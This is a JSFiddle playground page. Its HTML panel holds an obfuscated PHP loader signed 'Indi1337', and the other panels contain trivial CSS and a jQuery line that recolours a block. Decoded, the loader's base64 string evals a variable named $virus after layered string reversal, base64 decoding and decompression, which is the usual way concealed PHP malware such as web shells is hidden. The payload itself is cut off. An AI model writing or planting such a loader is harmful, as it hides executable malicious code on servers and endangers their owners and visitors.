JSFiddle - React, Tailwind, and code Playground

HTML

<?php
/*
                                                                      
   mmm                         m     mmmm                             
 m"   "  m mm  m   m  mmmm   mm#mm  m"  "m  mmm    mmm   m   m   m mm 
 #       #"  " "m m"  #" "#    #    #  m # #   "  "   #  #   #   #"  "
 #       #      #m#   #   #    #    #    #  """m  m"""#  #   #   #    
  "mmm"  #      "#    ##m#"    "mm   #mm#  "mmm"  "mm"#  "mm"#   #    
                m"    #                                               
               ""     "                                               by Indi1337
*/																		
$decode = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOGd6dW5jb21wcmVzcyUyOGd6dW5jb21wcmVzcyUyOGd6aW5mbGF0ZSUyOGd6aW5mbGF0ZSUyOGd6aW5mbGF0ZSUyOGJhc2U2NF9kZWNvZGUlMjhzdHJyZXYlMjhnenVuY29tcHJlc3MlMjhnenVuY29tcHJlc3MlMjhnemluZmxhdGUlMjhnemluZmxhdGUlMjhnemluZmxhdGUlMjhiYXNlNjRfZGVjb2RlJTI4c3RycmV2JTI4JTI0dmlydXMlMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklM0I=";
$virus =...

CSS

.yellow-block {
    margin:20px;
    background:yellow;
    padding:20px;
    color:white;
    font:normal 16px Arial;
}

JavaScript

$('.yellow-block').css('background', 'maroon');